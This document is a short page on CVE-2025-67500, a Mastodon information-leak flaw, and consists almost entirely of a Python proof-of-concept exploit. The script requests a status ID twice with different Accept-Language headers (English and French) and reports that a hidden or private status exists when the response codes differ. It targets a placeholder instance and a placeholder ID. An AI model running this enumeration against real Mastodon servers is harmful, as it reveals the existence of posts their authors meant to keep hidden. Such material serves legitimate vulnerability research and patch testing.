CVE-2025-67500 Mastodon状态存在性枚举信息泄露漏洞

import requests # CVE-2025-67500 PoC - Mastodon Status Existence Enumeration # This vulnerability allows attackers to check if a status exists # by sending requests with non-English Accept-Language headers TARGET_URL = "https://mastodon.example.com/api/v1/statuses/" STATUS_ID = "123456789" # Replace with target status ID def check_status_exists(status_id): """ Check if a status exists by comparing responses with different Accept-Language headers """ headers_english = { "Accept-Language": "en-US,en;q=0.9", "User-Agent": "Mozilla/5.0" } headers_non_english = { "Accept-Language": "fr-FR,fr;q=0.9", "User-Agent": "Mozilla/5.0" } try: # Send request with English Accept-Language resp_en = requests.get( f"{TARGET_URL}{status_id}", headers=headers_english, timeout=10 ) # Send request with non-English Accept-Language resp_non_en = requests.get( f"{TARGET_URL}{status_id}", headers=headers_non_english, timeout=10 ) # Compare responses if resp_en.status_code != resp_non_en.status_code: print(f"[+] Status {status_id} EXISTS (Response differs: EN={resp_en.status_code}, NON-EN={resp_non_en.status_code})") return True elif resp_en.status_code == 404 and resp_non_en.status_code == 404: print(f"[-] Status {status_id} does NOT exist") return False else: print(f"[?] Status {status_id} - Unable to determine (both returned {resp_en.status_code})") return None except requests.RequestException as e: print(f"[!] Request failed: {e}") return None if __name__ == "__main__": print("CVE-2025-67500 PoC - Mastodon Status Enumeration") print("=" * 50) check_status_exists(STATUS_ID)